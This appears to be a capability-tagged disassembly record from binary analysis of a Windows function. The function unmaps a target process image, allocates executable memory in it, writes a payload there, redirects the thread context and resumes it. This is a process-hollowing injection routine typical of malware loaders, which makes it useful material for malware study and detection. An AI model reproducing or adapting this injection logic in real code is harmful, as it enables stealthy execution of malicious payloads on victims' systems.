Function at 0x4020c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
sub esp, 0x320
lea eax, [esp + 0x14]
lea ecx, [esp + 0x54]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00401e20
add esp, 0xc
test eax, eax
je 0x402417
or ecx, 0xffffffff
mov edi, 0x4061d4
xor eax, eax
lea edx, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], 0
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x44]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x406204
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.apVi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ewOfSe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x44]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ction
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x30]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x4061dc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x30]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x4061e8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x30]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4061e4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x30]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4061d8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x348]
mov ecx, dword [esp + 0x24]
mov edi, dword [esp + 0x344]
cmp dword [esi + 0x1c], ecx
jne 0x4022c3
mov edx, dword [esp + 0x28]
cmp edi, edx
ja 0x4022c3
lea eax, [esp + 0x2c]
mov dword [esp + 0x10], ecx
push eax
push 0x40
push edx
push ecx
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x4022ea
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x4022ea
mov eax, dword [esi + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x340]
mov ebp, dword [esp + 0x334]
test eax, eax
jne 0x402356
push esi
call fcn.00401fa0
add esp, 4
test eax, eax
je 0x40234a
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
mov dword [esp + 0x10], eax
je 0x40240a
mov ecx, dword [esp + 0x338]
push eax
mov eax, dword [esp + 0x340]
push ebx
push eax
push esi
push ecx
push ebp
call fcn.00401cc0
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40240a
mov ecx, dword [esp + 0x108]
lea edx, [esp + 0x2c]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push 4
add ecx, 8
push eax
push ecx
push edx
call dword [0x4065a0]
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x10]
push 0
push edi
mov dword [eax + ebx + 0x34], ecx
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
push ebx
push edx
push eax
call dword [0x4065a0]
test eax, eax
je 0x4023f2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x64], 0x10007
jne 0x4023c0
mov ecx, dword [esi + 0x10]
mov eax, dword [esi + 0x1c]
add ecx, eax
mov dword [esp + 0x114], ecx
jmp 0x4023cc
mov edx, dword [esi + 0x10]
add edx, eax
mov dword [esp + 0x114], edx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x64]
push eax
push ecx
call dword [0x40659c]
mov edx, dword [esp + 0x18]
push edx
call dword [0x40658c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x320
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x320
ret
mov ecx, dword [esp + 0x14]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x320
ret